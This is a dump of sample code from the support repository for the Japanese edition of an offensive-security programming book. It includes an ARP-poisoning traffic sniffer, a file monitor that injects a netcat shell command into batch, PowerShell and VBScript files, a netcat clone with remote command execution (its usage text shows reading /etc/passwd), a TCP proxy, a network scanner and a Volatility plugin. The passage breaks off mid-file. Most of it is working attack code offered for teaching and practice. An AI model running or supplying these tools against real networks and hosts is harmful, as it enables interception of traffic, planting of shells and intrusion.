90 | recapper.write('image') 91 | -------------------------------------------------------------------------------- /appendix-C/get_from_web.py: -------------------------------------------------------------------------------- 1 | # -*- config:utf-8 -*- 2 | __author__ = 'Hiroyuki Kakara' 3 | 4 | from bs4 import BeautifulSoup 5 | from datetime import datetime 6 | import filetype 7 | from io import StringIO 8 | import os 9 | from pdfminer.converter import TextConverter 10 | from pdfminer.layout import LAParams 11 | from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter 12 | from pdfminer.pdfpage import PDFPage 13 | import requests 14 | from selenium import webdriver 15 | from selenium.webdriver.chrome import service 16 | from selenium.webdriver.chrome.options import Options 17 | 18 | user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' 19 | 20 | def convert_pdf_to_txt(path): 21 | rsrcmgr = PDFResourceManager() 22 | retstr = StringIO() 23 | codec = 'utf-8' 24 | laparams = LAParams() 25 | laparams.detect_vertical = True 26 | device = TextConverter(rsrcmgr, 27 | retstr, codec=codec, laparams=laparams) 28 | with open(path, 'rb') as fp: 29 | interpreter = PDFPageInterpreter(rsrcmgr, device) 30 | file_str = '' 31 | try: 32 | for page in PDFPage.get_pages(fp, set(), maxpages=0, caching=True, check_extractable=True): 33 | interpreter.process_page(page) 34 | file_str += retstr.getvalue() 35 | except Exception as e: 36 | fp.close() 37 | device.close() 38 | retstr.close() 39 | return -2 40 | device.close() 41 | retstr.close() 42 | return file_str 43 | 44 | class get_from_web: 45 | def get_web_content(self, url): 46 | try: 47 | re = requests.get(url, timeout=(3.0, 7.5)) 48 | except Exception as ex: 49 | return str(ex) 50 | saveFileName = str(datetime.now().timestamp()) 51 | saveFile = open(saveFileName, 'wb') 52 | saveFile.write(re.content) 53 | saveFile.close() 54 | file_type = filetype.guess(saveFileName) 55 | if file_type is not None and file_type.extension =="pdf": 56 | pdf_text = convert_pdf_to_txt(saveFileName) 57 | os.remove(saveFileName) 58 | return pdf_text 59 | else: 60 | try: 61 | os.remove(saveFileName) 62 | options = Options() 63 | options.add_argument('--headless') 64 | options.add_argument('--ignore-certificate-errors') 65 | options.add_argument('--no-sandbox') 66 | options.add_argument('--headless') 67 | options.add_argument('--disable-dev-shm-usage') 68 | options.add_argument(f'--user-agent={user_agent}') 69 | chrome_service = service.Service(executable_path 70 | ='!!解凍したWebドライバのフルパスを入力!!') 71 | driver = webdriver.Chrome(service=chrome_service, options=options) 72 | driver.set_page_load_timeout(10) 73 | driver.get(url) 74 | result = driver.page_source.encode('utf-8') 75 | driver.quit() 76 | soup=BeautifulSoup(result,"html.parser") 77 | return soup.get_text(" ") 78 | except Exception as e: 79 | print(e) 80 | return -1 -------------------------------------------------------------------------------- /chapter-06/bhp_bing.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from burp import IBurpExtender 3 | from burp import IContextMenuFactory 4 | 5 | from java.net import URL 6 | from java.util import ArrayList 7 | from javax.swing import JMenuItem 8 | from thread import start_new_thread 9 | 10 | import json 11 | import socket 12 | import urllib 13 | 14 | API_KEY = "YOURKEY" 15 | API_HOST = 'api.bing.microsoft.com' 16 | 17 | 18 | class BurpExtender(IBurpExtender, IContextMenuFactory): 19 | def registerExtenderCallbacks(self, callbacks): 20 | self._callbacks = callbacks 21 | self._helpers = callbacks.getHelpers() 22 | self.context = None 23 | 24 | # 作成した拡張機能をセットする 25 | callbacks.setExtensionName("BHP Bing") 26 | callbacks.registerContextMenuFactory(self) 27 | return 28 | 29 | def createMenuItems(self, context_menu): 30 | self.context = context_menu 31 | menu_list = ArrayList() 32 | menu_list.add(JMenuItem('Send to Bing', actionPerformed=self.bing_menu)) 33 | return menu_list 34 | 35 | def bing_menu(self, event): 36 | # ユーザーがクリックした部分を取得する 37 | http_traffic = self.context.getSelectedMessages() 38 | print('%d requests highlighted' % len(http_traffic)) 39 | 40 | for traffic in http_traffic: 41 | http_service = traffic.getHttpService() 42 | host = http_service.getHost() 43 | print("User selected host: %s" % host) 44 | self.bing_search(host) 45 | return 46 | 47 | def bing_search(self, host): 48 | # IPアドレスかホスト名かを判断する 49 | try: 50 | is_ip = bool(socket.inet_aton(host)) 51 | except socket.error: 52 | is_ip = False 53 | 54 | if is_ip: 55 | ip_address = host 56 | domain = False 57 | else: 58 | ip_address = socket.gethostbyname(host) 59 | domain = True 60 | start_new_thread(self.bing_query, ('ip:%s' % ip_address,)) 61 | if domain: 62 | start_new_thread(self.bing_query, ('domain:%s' % host,)) 63 | 64 | def bing_query(self, bing_query_string): 65 | print('Performing Bing search: %s' % bing_query_string) 66 | http_request = 'GET https://%s/v7.0/search?' % API_HOST 67 | # クエリをエンコードする 68 | http_request += 'q=%s HTTP/1.1\r\n' % urllib.quote(bing_query_string) 69 | http_request += 'Host: %s\r\n' % API_HOST 70 | http_request += 'Connection:close\r\n' 71 | http_request += 'Ocp-Apim-Subscription-Key: %s\r\n' % API_KEY 72 | http_request += 'User-Agent: Black Hat Python\r\n\r\n' 73 | 74 | json_body = self._callbacks.makeHttpRequest(API_HOST, 443, True, 75 | http_request).tostring() 76 | json_body = json_body.split('\r\n\r\n', 1)[1] 77 | try: 78 | response = json.loads(json_body) 79 | except (TypeError, ValueError) as err: 80 | print('No results from Bing: %s' % err) 81 | else: 82 | sites = list() 83 | if response.get('webPages'): 84 | sites = response['webPages']['value'] 85 | if len(sites): 86 | for site in sites: 87 | print('*'*100) 88 | print('Name: %s ' % site['name']) 89 | print('URL: %s ' % site['url']) 90 | print('Description: %r' % site['snippet']) 91 | print('*'*100) 92 | 93 | java_url = URL(site['url']) 94 | if not self._callbacks.isInScope(java_url): 95 | print('Adding %s to Burp scope' % site['url']) 96 | self._callbacks.includeInScope(java_url) 97 | else: 98 | print('Empty response from Bing.: %s' % bing_query_string) 99 | return -------------------------------------------------------------------------------- /chapter-04/arper.py: -------------------------------------------------------------------------------- 1 | from multiprocessing import Process 2 | from scapy.all import (ARP, Ether, conf, get_if_hwaddr, 3 | send, sniff, sndrcv, srp, wrpcap) 4 | import os 5 | import sys 6 | import time 7 | 8 | 9 | def get_mac(targetip): 10 | packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip) 11 | resp, _ = srp(packet, timeout=2, retry=10, verbose=False) 12 | for _, r in resp: 13 | return r[Ether].src 14 | return None 15 | 16 | 17 | class Arper(): 18 | def __init__(self, victim, gateway, interface='en0'): 19 | self.victim = victim 20 | self.victimmac = get_mac(victim) 21 | self.gateway = gateway 22 | self.gatewaymac = get_mac(gateway) 23 | self.interface = interface 24 | conf.iface = interface 25 | conf.verb = 0 26 | 27 | print(f'Initialized {interface}:') 28 | print(f'Gateway ({gateway}) is at {self.gatewaymac}.') 29 | print(f'Victim ({victim}) is at {self.victimmac}.') 30 | print('-'*30) 31 | 32 | def run(self): 33 | self.poison_thread = Process(target=self.poison) 34 | self.poison_thread.start() 35 | 36 | self.sniff_thread = Process(target=self.sniff) 37 | self.sniff_thread.start() 38 | 39 | def poison(self): 40 | poison_victim = ARP() 41 | poison_victim.op = 2 42 | poison_victim.psrc = self.gateway 43 | poison_victim.pdst = self.victim 44 | poison_victim.hwdst = self.victimmac 45 | print(f'ip src: {poison_victim.psrc}') 46 | print(f'ip dst: {poison_victim.pdst}') 47 | print(f'mac dst: {poison_victim.hwdst}') 48 | print(f'mac src: {poison_victim.hwsrc}') 49 | print(poison_victim.summary()) 50 | print('-'*30) 51 | poison_gateway = ARP() 52 | poison_gateway.op = 2 53 | poison_gateway.psrc = self.victim 54 | poison_gateway.pdst = self.gateway 55 | poison_gateway.hwdst = self.gatewaymac 56 | 57 | print(f'ip src: {poison_gateway.psrc}') 58 | print(f'ip dst: {poison_gateway.pdst}') 59 | print(f'mac dst: {poison_gateway.hwdst}') 60 | print(f'mac_src: {poison_gateway.hwsrc}') 61 | print(poison_gateway.summary()) 62 | print('-'*30) 63 | print(f'Beginning the ARP poison. [CTRL-C to stop]') 64 | while True: 65 | sys.stdout.write('.') 66 | sys.stdout.flush() 67 | try: 68 | send(poison_victim) 69 | send(poison_gateway) 70 | except KeyboardInterrupt: 71 | self.restore() 72 | sys.exit() 73 | else: 74 | time.sleep(2) 75 | 76 | def sniff(self, count=1000): 77 | time.sleep(5) 78 | print(f'Sniffing {count} packets') 79 | bpf_filter = "ip host %s" % self.victim 80 | packets = sniff(count=count, filter=bpf_filter, iface=self.interface) 81 | wrpcap('arper.pcap', packets) 82 | print('Got the packets') 83 | self.restore() 84 | self.poison_thread.terminate() 85 | print('Finished.') 86 | 87 | def restore(self): 88 | print('Restoring ARP tables...') 89 | send(ARP( 90 | op=2, 91 | psrc=self.gateway, 92 | hwsrc=self.gatewaymac, 93 | pdst=self.victim, 94 | hwdst='ff:ff:ff:ff:ff:ff'), 95 | count=5) 96 | send(ARP( 97 | op=2, 98 | psrc=self.victim, 99 | hwsrc=self.victimmac, 100 | pdst=self.gateway, 101 | hwdst='ff:ff:ff:ff:ff:ff'), 102 | count=5) 103 | 104 | 105 | if __name__ == '__main__': 106 | (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3]) 107 | myarp = Arper(victim, gateway, interface) 108 | myarp.run() 109 | -------------------------------------------------------------------------------- /chapter-10/file_monitor2.py: -------------------------------------------------------------------------------- 1 | import os 2 | import tempfile 3 | import threading 4 | import win32con 5 | import win32file 6 | 7 | FILE_CREATED = 1 8 | FILE_DELETED = 2 9 | FILE_MODIFIED = 3 10 | FILE_RENAMED_FROM = 4 11 | FILE_RENAMED_TO = 5 12 | 13 | FILE_LIST_DIRECTORY = 0x0001 14 | PATHS = ['c:\\Windows\\Temp', tempfile.gettempdir()] 15 | 16 | NETCAT = 'c:\\users\\IEUser\\work\\netcat.exe' 17 | TGT_IP = '192.168.1.208' 18 | CMD = f'""{NETCAT}"" -t {TGT_IP} -p 9999 -l -c ' 19 | 20 | FILE_TYPES = { 21 | '.bat': ["\r\nREM bhpmarker\r\n", f'\r\n{CMD}\r\n'], 22 | '.ps1': ["\r\n#bhpmarker\r\n", f'\r\nStart-Process "{CMD}"\r\n'], 23 | '.vbs': ["\r\n'bhpmarker\r\n", f'\r\nCreateObject("Wscript.Shell").Run("{CMD}")\r\n'], 24 | } 25 | 26 | 27 | def inject_code(full_filename, contents, extension): 28 | if FILE_TYPES[extension][0].strip() in contents: 29 | return 30 | 31 | full_contents = FILE_TYPES[extension][0] 32 | full_contents += FILE_TYPES[extension][1] 33 | full_contents += contents 34 | with open(full_filename, 'w') as f: 35 | f.write(full_contents) 36 | print('\\o/ Injected Code') 37 | 38 | 39 | def monitor(path_to_watch): 40 | h_directory = win32file.CreateFile( 41 | path_to_watch, 42 | FILE_LIST_DIRECTORY, 43 | win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE, 44 | None, 45 | win32con.OPEN_EXISTING, 46 | win32con.FILE_FLAG_BACKUP_SEMANTICS, 47 | None 48 | ) 49 | 50 | while True: 51 | try: 52 | results = win32file.ReadDirectoryChangesW( 53 | h_directory, 54 | 1024, 55 | True, 56 | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | 57 | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | 58 | win32con.FILE_NOTIFY_CHANGE_FILE_NAME | 59 | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | 60 | win32con.FILE_NOTIFY_CHANGE_SECURITY | 61 | win32con.FILE_NOTIFY_CHANGE_SIZE, 62 | None, 63 | None 64 | ) 65 | for action, file_name in results: 66 | full_filename = os.path.join(path_to_watch, file_name) 67 | if action == FILE_CREATED: 68 | print(f'[+] Created {full_filename}') 69 | 70 | elif action == FILE_DELETED: 71 | print(f'[-] Deleted {full_filename}') 72 | 73 | elif action == FILE_MODIFIED: 74 | print(f'[*] Modified {full_filename}') 75 | extension = os.path.splitext(full_filename)[1] 76 | if extension in FILE_TYPES: 77 | try: 78 | with open(full_filename) as f: 79 | contents = f.read() 80 | print('[vvv] Dumping contents ... ') 81 | inject_code(full_filename, 82 | contents, extension) 83 | # print(contents) 84 | print('[^^^] Dump complete.') 85 | except Exception as e: 86 | print(f'[!!!] Dump failed. {e}') 87 | 88 | elif action == FILE_RENAMED_FROM: 89 | print(f'[>] Renamed from {full_filename}') 90 | elif action == FILE_RENAMED_TO: 91 | print(f'[<] Renamed to {full_filename}') 92 | else: 93 | print(f'[?] Unknown action on {full_filename}') 94 | except KeyboardInterrupt: 95 | break 96 | 97 | except Exception: 98 | pass 99 | 100 | 101 | if __name__ == '__main__': 102 | for path in PATHS: 103 | monitor_thread = threading.Thread( 104 | target=monitor, args=(path,)) 105 | monitor_thread.start() 106 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # サイバーセキュリティプログラミング 第2版 2 | 3 | --- 4 | 5 | ![表紙](black-hat-python-2e-ja.png) 6 | 7 | --- 8 | 9 | 本リポジトリはオライリー・ジャパン発行書籍『[サイバーセキュリティプログラミング 第2版](https://www.amazon.co.jp/dp/4873119731/)』のサポートサイトです。 10 | 11 | ## サンプルコード 12 | 13 | ### ファイル構成 14 | 15 | |フォルダ名 |説明 | 16 | |:-- |:-- | 17 | |appendix-A |付録Aで使用するソースコード | 18 | |... |... | 19 | |chapter-01 |1章で使用するソースコード | 20 | |chapter-02 |2章で使用するソースコード | 21 | |... |... | 22 | |chapter-11 |11章で使用するソースコード | 23 | 24 | サンプルコードの解説は本書籍をご覧ください。 25 | 26 | ## 正誤表 27 | 28 | 下記の誤りがありました。お詫びして訂正いたします。 29 | 30 | 本ページに掲載されていない誤植など間違いを見つけた方は、japan@oreilly.co.jpまでお知らせください。 31 | 32 | ### 第2刷まで 33 | 34 | #### ■8章 P.173 L.28 35 | **誤** 36 | ``` 37 | キー押下やマウスクリックが発生していればそのタイムスタンプを返す関数を呼び出す❸。 38 | ``` 39 | **正** 40 | ``` 41 | get_keypress()メソッドを呼び出して、マウスの左クリックが発生していればそのタイムスタンプを取得する❸。 42 | ``` 43 | 44 | ### 第1刷 45 | 46 | #### ■6章 P.134 L.20 47 | **誤** 48 | ``` 49 | else: 50 | sites = list() 51 | if response.get('webPages'): 52 | sites = response['webPages']['value'] 53 | if len(sites): 54 | for site in sites: 55 | print('*'*100) # ❺ 56 | print('Name: %s ' % site['name']) 57 | print('URL: %s ' % site['url']) 58 | print('Description: %r' % site['snippet']) 59 | print('*'*100) 60 | 61 | java_url = URL(site['url']) 62 | if not self._callbacks.isInScope(java_url): # ❻ 63 | print('Adding %s to Burp scope' % site['url']) 64 | self._callbacks.includeInScope(java_url) 65 | else: 66 | print('Empty response from Bing.: %s' 67 | % bing_query_string) 68 | return 69 | ``` 70 | **正** 71 | ``` 72 | else: 73 | sites = list() 74 | if response.get('webPages'): 75 | sites = response['webPages']['value'] 76 | if len(sites): 77 | for site in sites: 78 | print('*'*100) # ❺ 79 | print('Name: %s ' % site['name']) 80 | print('URL: %s ' % site['url']) 81 | print('Description: %r' % site['snippet']) 82 | print('*'*100) 83 | 84 | java_url = URL(site['url']) 85 | if not self._callbacks.isInScope(java_url): # ❻ 86 | print('Adding %s to Burp scope' % site['url']) 87 | self._callbacks.includeInScope(java_url) 88 | else: 89 | print('Empty response from Bing.: %s' 90 | % bing_query_string) 91 | return 92 | ``` 93 | 94 | #### ■付録A P.245 L.27 95 | **誤** 96 | ``` 97 | def build_help(): 98 | res = ("cmd : Execute Windows commands.\r\n" 99 | "fil : Upload file from victim.\r\n" 100 | "dir : Search for files \ 101 | with speficied extension.\r\n" 102 | "scr: Take screenshot.\r\n" 103 | "exit: Terminate this bot.\r\n" 104 | "Just upload a file: Bot will execute \ 105 | the uploaded file.\r\n" 106 | "help: Display this help.") 107 | return res 108 | ``` 109 | **正** 110 | ``` 111 | def build_help(): 112 | res = ("cmd : Execute Windows commands.\r\n" 113 | "fil : Upload file from victim.\r\n" 114 | "dir : Search for files \ 115 | with specified extension.\r\n" 116 | "scr: Take screenshot.\r\n" 117 | "exit: Terminate this bot.\r\n" 118 | "Just upload a file: Bot will execute \ 119 | the uploaded file.\r\n" 120 | "help: Display this help.") 121 | return res 122 | ``` 123 | 124 | ## Twitter APIのプラン改訂について 125 | Twitter社のAPIアクセスプランの改訂により、フリーAPIを用いてのツイート取得ができなくなることが[アナウンスされています](https://twitter.com/TwitterDev/status/1641222782594990080)。本書の付録C「Twitter IoCクローラー」に記載した手法を引き続きご利用になりたい方は、「Basic」以上の有償プランへの加入が必要になります。詳しくは[Twitter社のホームページ](https://developer.twitter.com/en/portal/products/basic)をご確認ください。 126 | -------------------------------------------------------------------------------- /chapter-03/scanner.py: -------------------------------------------------------------------------------- 1 | import ipaddress 2 | import os 3 | import socket 4 | import struct 5 | import sys 6 | import threading 7 | import time 8 | 9 | # スキャン対象のサブネット 10 | SUBNET = '192.168.1.0/24' 11 | # ICMPレスポンスのチェック用マジック文字列 12 | MESSAGE = 'PYTHONRULES!' 13 | 14 | class IP: 15 | def __init__(self, buff=None): 16 | header = struct.unpack('> 4 18 | self.ihl = header[0] & 0xF 19 | 20 | self.tos = header[1] 21 | self.len = header[2] 22 | self.id = header[3] 23 | self.offset = header[4] 24 | self.ttl = header[5] 25 | self.protocol_num = header[6] 26 | self.sum = header[7] 27 | self.src = header[8] 28 | self.dst = header[9] 29 | 30 | # IPアドレスを可読な形で変数に格納 31 | self.src_address = ipaddress.ip_address(self.src) 32 | self.dst_address = ipaddress.ip_address(self.dst) 33 | 34 | # プロトコルの定数値を名称にマッピング 35 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 36 | try: 37 | self.protocol = self.protocol_map[self.protocol_num] 38 | except Exception as e: 39 | print('%s No protocol for %s' % (e, self.protocol_num)) 40 | self.protocol = str(self.protocol_num) 41 | 42 | class ICMP: 43 | def __init__(self, buff): 44 | header = struct.unpack('0: 106 | client.chat_postMessage(channel="#general", \ 107 | text=f"from https://twitter.com/\ 108 | {username}/status/{tweet['id']}") 109 | client.chat_postMessage(channel="#general", \ 110 | text=f"```{tweet['text']}```") 111 | client.chat_postMessage(channel="#general", \ 112 | text='Hashes: \r\n'+'\r\n'.join(hashes)) 113 | client.chat_postMessage(channel="#general", \ 114 | text="==============") 115 | client.chat_postMessage(channel="#general", text="Finished.") 116 | except Exception as e: 117 | print(e) 118 | 119 | -------------------------------------------------------------------------------- /chapter-02/proxy.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import socket 3 | import threading 4 | 5 | HEX_FILTER = ''.join( 6 | [(len(repr(chr(i))) == 3) and chr(i) or '.' for i in range(256)]) 7 | 8 | 9 | def hexdump(src, length=16, show=True): 10 | if isinstance(src, bytes): 11 | src = src.decode() 12 | results = list() 13 | for i in range(0, len(src), length): 14 | word = str(src[i:i+length]) 15 | printable = word.translate(HEX_FILTER) 16 | hexa = ' '.join([f'{ord(c):02X}' for c in word]) 17 | hexwidth = length*3 18 | results.append(f'{i:04x} {hexa:<{hexwidth}} {printable}') 19 | if show: 20 | for line in results: 21 | print(line) 22 | else: 23 | return results 24 | 25 | 26 | def receive_from(connection): 27 | buffer = b"" 28 | connection.settimeout(5) 29 | try: 30 | while True: 31 | data = connection.recv(4096) 32 | if not data: 33 | break 34 | 35 | buffer += data 36 | except: 37 | pass 38 | 39 | return buffer 40 | 41 | 42 | def request_handler(buffer): 43 | # パケットの改変をここで行うことができる 44 | return buffer 45 | 46 | 47 | def response_handler(buffer): 48 | # パケットの改変をここで行うことができる 49 | return buffer 50 | 51 | 52 | def proxy_handler(client_socket, remote_host, remote_port, receive_first): 53 | remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 54 | remote_socket.connect((remote_host, remote_port)) 55 | 56 | if receive_first: 57 | remote_buffer = receive_from(remote_socket) 58 | if len(remote_buffer): 59 | print("[<==] Received %d bytes from remote." % len(remote_buffer)) 60 | hexdump(remote_buffer) 61 | 62 | remote_buffer = response_handler(remote_buffer) 63 | client_socket.send(remote_buffer) 64 | print("[==>] Sent to local.") 65 | 66 | while True: 67 | local_buffer = receive_from(client_socket) 68 | if len(local_buffer): 69 | print("[<==] Received %d bytes from local." % len(local_buffer)) 70 | hexdump(local_buffer) 71 | 72 | local_buffer = request_handler(local_buffer) 73 | remote_socket.send(local_buffer) 74 | print("[==>] Sent to remote.") 75 | 76 | remote_buffer = receive_from(remote_socket) 77 | if len(remote_buffer): 78 | print("[<==] Received %d bytes from remote." % len(remote_buffer)) 79 | hexdump(remote_buffer) 80 | 81 | remote_buffer = response_handler(remote_buffer) 82 | client_socket.send(remote_buffer) 83 | print("[==>] Sent to local.") 84 | 85 | if not len(local_buffer) or not len(remote_buffer): 86 | client_socket.close() 87 | remote_socket.close() 88 | print("[*] No more data. Closing connections.") 89 | break 90 | 91 | 92 | def server_loop(local_host, local_port, remote_host, remote_port, receive_first): 93 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 94 | try: 95 | server.bind((local_host, local_port)) 96 | except Exception as e: 97 | print('problem on bind: %r' % e) 98 | print("[!!] Failed to listen on %s:%d" % (local_host, local_port)) 99 | print("[!!] Check for other listening sockets or correct permissions.") 100 | sys.exit(0) 101 | 102 | print("[*] Listening on %s:%d" % (local_host, local_port)) 103 | server.listen(5) 104 | while True: 105 | client_socket, addr = server.accept() 106 | # 接続情報の出力 107 | line = "> Received incoming connection from %s:%d" % (addr[0], addr[1]) 108 | print(line) 109 | # リモートホストとの接続を行うスレッドの開始 110 | proxy_thread = threading.Thread( 111 | target=proxy_handler, 112 | args=(client_socket, remote_host, 113 | remote_port, receive_first)) 114 | proxy_thread.start() 115 | 116 | 117 | def main(): 118 | if len(sys.argv[1:]) != 5: 119 | print("Usage: ./proxy.py [localhost] [localport]", end='') 120 | print("[remotehost] [remoteport] [receive_first]") 121 | print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True") 122 | sys.exit(0) 123 | 124 | local_host = sys.argv[1] 125 | local_port = int(sys.argv[2]) 126 | 127 | remote_host = sys.argv[3] 128 | remote_port = int(sys.argv[4]) 129 | 130 | receive_first = sys.argv[5] 131 | 132 | if "True" in receive_first: 133 | receive_first = True 134 | else: 135 | receive_first = False 136 | 137 | server_loop(local_host, local_port, 138 | remote_host, remote_port, receive_first) 139 | 140 | 141 | if __name__ == '__main__': 142 | main() 143 | -------------------------------------------------------------------------------- /chapter-02/netcat.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import locale 3 | import os 4 | import socket 5 | import shlex 6 | import subprocess 7 | import sys 8 | import textwrap 9 | import threading 10 | 11 | 12 | def execute(cmd): 13 | cmd = cmd.strip() 14 | if not cmd: 15 | return 16 | 17 | if os.name == "nt": 18 | shell = True 19 | else: 20 | shell = False 21 | 22 | output = subprocess.check_output(shlex.split(cmd), 23 | stderr=subprocess.STDOUT, 24 | shell=shell) 25 | 26 | if locale.getdefaultlocale() == ('ja_JP', 'cp932'): 27 | return output.decode('cp932') 28 | else: 29 | return output.decode() 30 | 31 | 32 | class NetCat: 33 | def __init__(self, args, buffer=None): 34 | self.args = args 35 | self.buffer = buffer 36 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 37 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 38 | 39 | def run(self): 40 | if self.args.listen: 41 | self.listen() 42 | else: 43 | self.send() 44 | 45 | def send(self): 46 | self.socket.connect((self.args.target, self.args.port)) 47 | if self.buffer: 48 | self.socket.send(self.buffer) 49 | 50 | try: 51 | while True: 52 | recv_len = 1 53 | response = '' 54 | while recv_len: 55 | data = self.socket.recv(4096) 56 | recv_len = len(data) 57 | response += data.decode() 58 | if recv_len < 4096: 59 | break 60 | if response: 61 | print(response) 62 | buffer = input('> ') 63 | buffer += '\n' 64 | self.socket.send(buffer.encode()) 65 | except KeyboardInterrupt: 66 | print('User terminated.') 67 | self.socket.close() 68 | sys.exit() 69 | 70 | except EOFError as e: 71 | print(e) 72 | 73 | def listen(self): 74 | print('listening') 75 | self.socket.bind((self.args.target, self.args.port)) 76 | self.socket.listen(5) 77 | while True: 78 | client_socket, _ = self.socket.accept() 79 | client_thread = threading.Thread(target=self.handle, args=(client_socket,)) 80 | client_thread.start() 81 | 82 | def handle(self, client_socket): 83 | if self.args.execute: 84 | output = execute(self.args.execute) 85 | client_socket.send(output.encode()) 86 | 87 | elif self.args.upload: 88 | file_buffer = b'' 89 | while True: 90 | data = client_socket.recv(4096) 91 | if data: 92 | file_buffer += data 93 | print(len(file_buffer)) 94 | else: 95 | break 96 | 97 | with open(self.args.upload, 'wb') as f: 98 | f.write(file_buffer) 99 | message = f'Saved file {self.args.upload}' 100 | client_socket.send(message.encode()) 101 | 102 | elif self.args.command: 103 | cmd_buffer = b'' 104 | while True: 105 | try: 106 | client_socket.send(b' ') 107 | while '\n' not in cmd_buffer.decode(): 108 | cmd_buffer += client_socket.recv(64) 109 | response = execute(cmd_buffer.decode()) 110 | if response: 111 | client_socket.send(response.encode()) 112 | cmd_buffer = b'' 113 | except Exception as e: 114 | print(f'server killed {e}') 115 | self.socket.close() 116 | sys.exit() 117 | 118 | 119 | if __name__ == '__main__': 120 | parser = argparse.ArgumentParser( 121 | description='BHP Net Tool', 122 | formatter_class=argparse.RawDescriptionHelpFormatter, 123 | epilog=textwrap.dedent('''実行例: 124 | # 対話型コマンドシェルの起動 125 | netcat.py -t 192.168.1.108 -p 5555 -l -c 126 | # ファイルのアップロード 127 | netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.whatisup 128 | # コマンドの実行 129 | netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" 130 | # 通信先サーバーの135番ポートに文字列を送信 131 | echo 'ABCDEFGHI' | ./netcat.py -t 192.168.1.108 -p 135 132 | # サーバーに接続 133 | netcat.py -t 192.168.1.108 -p 5555 134 | ''')) 135 | parser.add_argument('-c', '--command', action='store_true', help='対話型シェルの初期化') 136 | parser.add_argument('-e', '--execute', help='指定のコマンドの実行') 137 | parser.add_argument('-l', '--listen', action='store_true', help='通信待受モード') 138 | parser.add_argument('-p', '--port', type=int, default=5555, help='ポート番号の指定') 139 | parser.add_argument('-t', '--target', default='192.168.1.203', help='IPアドレスの指定') 140 | parser.add_argument('-u', '--upload', help='ファイルのアップロード') 141 | args = parser.parse_args() 142 | if args.listen: 143 | buffer = '' 144 | else: 145 | buffer = sys.stdin.read() 146 | 147 | nc = NetCat(args, buffer.encode('utf-8')) 148 | nc.run() 149 | -------------------------------------------------------------------------------- /chapter-11/aslrcheck.py: -------------------------------------------------------------------------------- 1 | # すべてのプロセスを検索し、ASLRの保護を確認する 2 | 3 | from typing import Callable, List 4 | 5 | from volatility3.framework import constants, exceptions, interfaces, renderers 6 | from volatility3.framework.configuration import requirements 7 | from volatility3.framework.renderers import format_hints 8 | from volatility3.framework.symbols import intermed 9 | from volatility3.framework.symbols.windows import extensions 10 | from volatility3.plugins.windows import pslist 11 | 12 | import io 13 | import logging 14 | import pefile 15 | 16 | vollog = logging.getLogger(__name__) 17 | 18 | IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040 19 | IMAGE_FILE_RELOCS_STRIPPED = 0x0001 20 | 21 | 22 | def check_aslr(pe): 23 | pe.parse_data_directories( 24 | [pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG']]) 25 | dynamic = False 26 | stripped = False 27 | 28 | if pe.OPTIONAL_HEADER.DllCharacteristics & IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE: 29 | dynamic = True 30 | if pe.FILE_HEADER.Characteristics & IMAGE_FILE_RELOCS_STRIPPED: 31 | stripped = True 32 | if not dynamic or (dynamic and stripped): 33 | aslr = False 34 | else: 35 | aslr = True 36 | return aslr 37 | 38 | 39 | class AslrCheck(interfaces.plugins.PluginInterface): 40 | 41 | @classmethod 42 | def get_requirements(cls): 43 | 44 | return [ 45 | requirements.TranslationLayerRequirement( 46 | name='primary', description='Memory layer for the kernel', 47 | architectures=["Intel32", "Intel64"]), 48 | 49 | requirements.SymbolTableRequirement( 50 | name="nt_symbols", description="Windows kernel symbols"), 51 | 52 | requirements.PluginRequirement( 53 | name='pslist', plugin=pslist.PsList, version=(2, 0, 0)), 54 | 55 | requirements.ListRequirement(name='pid', 56 | element_type=int, description="Process ID to include (all other processes are excluded)", 57 | optional=True), 58 | 59 | ] 60 | 61 | @classmethod 62 | def create_pid_filter(cls, pid_list: List[int] = None) -> Callable[[interfaces.objects.ObjectInterface], bool]: 63 | def filter_func(_): return False 64 | pid_list = pid_list or [] 65 | filter_list = [x for x in pid_list if x is not None] 66 | if filter_list: 67 | def filter_func( 68 | x): return x.UniqueProcessId not in filter_list 69 | return filter_func 70 | 71 | def _generator(self, procs): 72 | pe_table_name = intermed.IntermediateSymbolTable.create( 73 | self.context, 74 | self.config_path, 75 | "windows", 76 | "pe", 77 | class_types=extensions.pe.class_types) 78 | 79 | procnames = list() 80 | for proc in procs: 81 | procname = proc.ImageFileName.cast( 82 | "string", max_length=proc.ImageFileName.vol.count, errors='replace') 83 | if procname in procnames: 84 | continue 85 | procnames.append(procname) 86 | 87 | proc_id = "Unknown" 88 | try: 89 | proc_id = proc.UniqueProcessId 90 | proc_layer_name = proc.add_process_layer() 91 | except exceptions.InvalidAddressException as e: 92 | vollog.error( 93 | f"Process {proc_id}: invalid address {e} in layer {e.layer_name}") 94 | continue 95 | 96 | peb = self.context.object( 97 | self.config['nt_symbols'] + constants.BANG + "_PEB", 98 | layer_name=proc_layer_name, 99 | offset=proc.Peb) 100 | 101 | try: 102 | dos_header = self.context.object( 103 | pe_table_name + constants.BANG + 